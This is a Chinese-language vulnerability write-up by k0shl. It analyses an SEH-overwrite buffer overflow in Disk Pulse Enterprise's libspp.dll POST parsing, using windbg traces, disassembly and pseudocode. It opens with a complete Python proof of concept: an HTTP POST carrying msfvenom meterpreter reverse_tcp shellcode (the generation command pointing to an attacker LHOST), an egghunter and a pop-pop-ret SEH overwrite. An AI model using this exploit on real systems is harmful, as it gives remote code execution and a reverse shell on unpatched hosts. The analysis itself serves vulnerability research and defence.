Disk Pulse Enterprise远程代码执行漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


Disk Pulse Eneterprise是一款监视磁盘变化的软件,它可以通过一个管理端口9120或者web管理窗口80对软件进行连接管理,从而监视磁盘的变化情况。在Disk Pulse Eneterprise中有一个动态链接库libspp.dll,其中有一些负责http操作的函数,问题就出现在这个动态链接库中,在处理post数据时,由于对于post数据没有进行严格的长度控制,导致在执行获取post数据时向无效内存拷贝数据造成缓冲区溢出,触发seh异常行为处理,最后控制eip,执行任意代码。下面对此漏洞进行详细分析。

软件下载:
https://www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe

PoC:

import socket
import sys
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.123.132',80))
 
#bad chars \x00\x0a\x0d\x26
 
#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.123.128 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest
 
#payload size 308
 
buf =  ""
buf += "\xda\xd9\xba\x43\x1b\x3f\x40\xd9\x74\x24\xf4\x58\x2b"
buf += "\xc9\xb1\x47\x31\x50\x18\x03\x50\x18\x83\xc0\x47\xf9"
buf += "\xca\xbc\xaf\x7f\x34\x3d\x2f\xe0\xbc\xd8\x1e\x20\xda"
buf += "\xa9\x30\x90\xa8\xfc\xbc\x5b\xfc\x14\x37\x29\x29\x1a"
buf += "\xf0\x84\x0f\x15\x01\xb4\x6c\x34\x81\xc7\xa0\x96\xb8"
buf += "\x07\xb5\xd7\xfd\x7a\x34\x85\x56\xf0\xeb\x3a\xd3\x4c"
buf += "\x30\xb0\xaf\x41\x30\x25\x67\x63\x11\xf8\xfc\x3a\xb1"
buf += "\xfa\xd1\x36\xf8\xe4\x36\x72\xb2\x9f\x8c\x08\x45\x76"
buf += "\xdd\xf1\xea\xb7\xd2\x03\xf2\xf0\xd4\xfb\x81\x08\x27"
buf += "\x81\x91\xce\x5a\x5d\x17\xd5\xfc\x16\x8f\x31\xfd\xfb"
buf += "\x56\xb1\xf1\xb0\x1d\x9d\x15\x46\xf1\x95\x21\xc3\xf4"
buf += "\x79\xa0\x97\xd2\x5d\xe9\x4c\x7a\xc7\x57\x22\x83\x17"
buf += "\x38\x9b\x21\x53\xd4\xc8\x5b\x3e\xb0\x3d\x56\xc1\x40"
buf += "\x2a\xe1\xb2\x72\xf5\x59\x5d\x3e\x7e\x44\x9a\x41\x55"
buf += "\x30\x34\xbc\x56\x41\x1c\x7a\x02\x11\x36\xab\x2b\xfa"
buf += "\xc6\x54\xfe\x97\xc3\xc2\xc1\xc0\xb7\x92\xaa\x12\x48"
buf += "\x83\x76\x9a\xae\xf3\xd6\xcc\x7e\xb3\x86\xac\x2e\x5b"
buf += "\xcd\x22\x10\x7b\xee\xe8\x39\x11\x01\x45\x11\x8d\xb8"
buf += "\xcc\xe9\x2c\x44\xdb\x97\x6e\xce\xe8\x68\x20\x27\x84"
buf += "\x7a\xd4\xc7\xd3\x21\x72\xd7\xc9\x4c\x7a\x4d\xf6\xc6"
buf += "\x2d\xf9\xf4\x3f\x19\xa6\x07\x6a\x12\x6f\x92\xd5\x4c"
buf += "\x90\x72\xd6\x8c\xc6\x18\xd6\xe4\xbe\x78\x85\x11\xc1"
buf += "\x54\xb9\x8a\x54\x57\xe8\x7f\xfe\x3f\x16\xa6\xc8\x9f"
buf += "\xe9\x8d\xc8\xdc\x3f\xeb\xbe\x0c\xfc"
 
#pop pop ret 1001A333
 
nseh = "\x90\x90\xEB\x0B"
seh = "\x33\xA3\x01\x10"
 
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
 
 
evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.123.132\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=admin"
evil += "&password=aaaaa\r\n"
evil += "\x41" * 12292 #subtract/add for payload
evil += "w00tw00t"
evil += "\x90" * 20
evil += buf
evil += "\x90" * 50
evil += "\x42" * 1614
evil += nseh
evil += seh
evil += "\x90" * 20
evil += egghunter
evil += "\x90" * 7000
 
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

漏洞复现


首先发送payload,另一边触发崩溃,附加windbg,到达漏洞位置。

(7dc.10c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000386b ebx=00004268 ecx=016fd041 edx=0000384c esi=016fc7b4 edi=0016b6a4
eip=10092822 esp=016fba70 ebp=016fcfd8 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010287
libspp!SCA_HttpParser::GetNextString+0x52:
10092822 880c32          mov     byte ptr [edx+esi],cl      ds:0023:01700000=??

这里调用了libspp.dll的SCA_HttpParser的GetNextString函数,接下来程序进入SHE异常行为处理,通过覆盖SEH Handler打到代码执行。

0:011> g
(7dc.10c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=016fb6a0 ebp=016fb6c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

漏洞分析


在libspp中SCA_HttpParse类负责处理HTTP的一些相关操作,其中有一个函数名为ExtractPostData负责处理post数据,在这个函数入口下断点。

0:011> bp 10092510
*** WARNING: Unable to verify checksum for C:\Program Files\Disk Pulse Enterprise\bin\libspp.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Disk Pulse Enterprise\bin\libspp.dll - 
0:011> bl
 0 e 10092510     0001 (0001)  0:**** libspp!SCA_HttpParser::ExtractPostData
0:011> g
Breakpoint 0 hit
eax=0000016c ebx=016fd120 ecx=016fd00c edx=0016b6a4 esi=016fd730 edi=101b0c42
eip=10092510 esp=016fcfb4 ebp=016fd00c iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
libspp!SCA_HttpParser::ExtractPostData:
10092510 b810150000      mov     eax,1510h

发送payload之后命中断点,此时观察一下传参情况。

0:011> dd esp
016fcfb4  10091d23 0016b6a4 00004268 016fcfd8
016fcfc4  016fd730 0016d771 000043d4 00b1a310
0:011> dc 0016b6a4
0016b6a4  72657375 656d616e 6d64613d 70266e69  username=admin&p
0016b6b4  77737361 3d64726f 61616161 410a0d61  assword=aaaaa..A
0016b6c4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0016b6d4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0016b6e4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0016b6f4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0016b704  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

post数据作为第二个参数传入,注意是完整传入,这里继续单步跟踪,到达之前说到的GetNextString函数。

0:011> p
eax=0016b6a4 ebx=00000000 ecx=016fd00c edx=00004268 esi=016fd730 edi=016fd00c
eip=10092554 esp=016fba84 ebp=016fd00c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!SCA_HttpParser::ExtractPostData+0x44:
10092554 e877020000      call    libspp!SCA_HttpParser::GetNextString (100927d0)
0:011> dd esp
016fba84  0016b6a4 00004268 016fcfd8 016fc7b4
0:011> dc poi(esp)
0016b6a4  72657375 656d616e 6d64613d 70266e69  username=admin&p
0016b6b4  77737361 3d64726f 61616161 410a0d61  assword=aaaaa..A
0016b6c4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0016b6d4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0016b6e4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

这个函数会做一件事情,就是将第一个参数,也就是post数据进行拆分,将每一部分分离出来作为后续处理,单步步过,可以看到第一次进入GetNextString之后,拆分了第一个数据。

0:011> p
eax=00000001 ebx=00000000 ecx=016fd026 edx=0000000e esi=016fd730 edi=016fd00c
eip=10092559 esp=016fba94 ebp=016fd00c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!SCA_HttpParser::ExtractPostData+0x49:
10092559 85c0            test    eax,eax
0:011> dd 016fcfd8
016fcfd8  0000000e 1008cc39 0016b538 000043d4
016fcfe8  0000016c 016fd120 00000000 00b1a310
0:011> dc 16fc7b4
016fc7b4  72657375 656d616e 6d64613d 00006e69  username=admin..

第一次分离出来了username,接下来,再次进入GetNextString开始拆分第二个String,这个拆分过程会执行一系列的拷贝操作。

.text:10092814 loc_10092814:                           ; CODE XREF: SCA_HttpParser::GetNextString(char const *,ulong,ulong *,char *)+5Ej
.text:10092814                 cmp     cl, 0Ah
.text:10092817                 jz      short loc_10092830
.text:10092819                 cmp     cl, 0Dh
.text:1009281C                 jz      short loc_10092830
.text:1009281E                 cmp     eax, ebx
.text:10092820                 jnb     short loc_10092830
.text:10092822                 mov     [edx+esi], cl
.text:10092825                 mov     cl, [eax+edi+1]
.text:10092829                 inc     edx
.text:1009282A                 inc     eax
.text:1009282B                 cmp     cl, 26h
.text:1009282E                 jnz     short loc_10092814

这个loc块负责拷贝,其中10092822地址就是触发漏洞的关键位置,esi是待拷贝的缓冲区首地址,edx是拷贝长度,cl是拷贝内容,这里是一个字一个字拷贝的。

因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。

eax=0000386b ebx=00004268 ecx=016fd041 edx=0000384c esi=016fc7b4 edi=0016b6a4
eip=10092822 esp=016fba70 ebp=016fcfd8 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010287
libspp!SCA_HttpParser::GetNextString+0x52:
10092822 880c32          mov     byte ptr [edx+esi],cl      ds:0023:01700000=??

看一下edx+esi的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。

0:011> dc 016fc7b4+3840
016ffff4  41414141 41414141 41414141 ????????  AAAAAAAAAAAA????
01700004  ???????? ???????? ???????? ????????  ????????????????
01700014  ???????? ???????? ???????? ????????  ????????????????

之后来看一下ecx的值

0:011> dd ecx
016fd041  41414141 41414141 41414141 41414141
016fd051  41414141 41414141 41414141 41414141
016fd061  41414141 41414141 41414141 41414141
016fd071  41414141 41414141 41414141 41414141
016fd081  41414141 41414141 41414141 41414141
016fd091  41414141 41414141 41414141 41414141

cl就是将ecx的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。

int __thiscall SCA_HttpParser::ExtractPostData(SCA_HttpParser *this, const char *a2, unsigned __int32 a3, unsigned __int32 *a4, struct 
SCA_ConfigObj *a5)
{
  v19 = this;
  v16 = 0;
  v18 = 0;
  v17 = 0;
  if ( SCA_HttpParser::GetNextString(a2, a3, a4, &v28) )
  {
    while ( 1 )
    {
       ……
LABEL_18:
      if ( !SCA_HttpParser::GetNextString(a2, a3, a4, &v28) )
        return 1;
    }
    v15 = 1;
    goto LABEL_17;
  }
  return 1;
}

再来看一下GetNextString函数的伪代码。

int __stdcall SCA_HttpParser::GetNextString(const char *a2, unsigned __int32 a3, unsigned __int32 *a4, char *a5)
{
  int v4; // edx@1
  unsigned __int32 i; // eax@1
  char v6; // cl@2
  char v7; // cl@6
  int result; // eax@13

  v4 = 0;
  for ( i = *a4; i < a3; ++i )
  {
    v6 = a2[i];
    if ( v6 != 38 && v6 != 10 && v6 != 13 )
      break;
  }
  v7 = a2[i];
  if ( v7 && i < a3 )
  {
    for ( ; v7 != 38; ++i )
    {
      if ( v7 == 10 )
        break;
      if ( v7 == 13 )
        break;
      if ( i >= a3 )
        break;
      a5[v4] = v7;
      v7 = a2[i + 1];
      ++v4;
    }
    a5[v4] = 0;
    *a4 = i;
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}
Comments
Write a Comment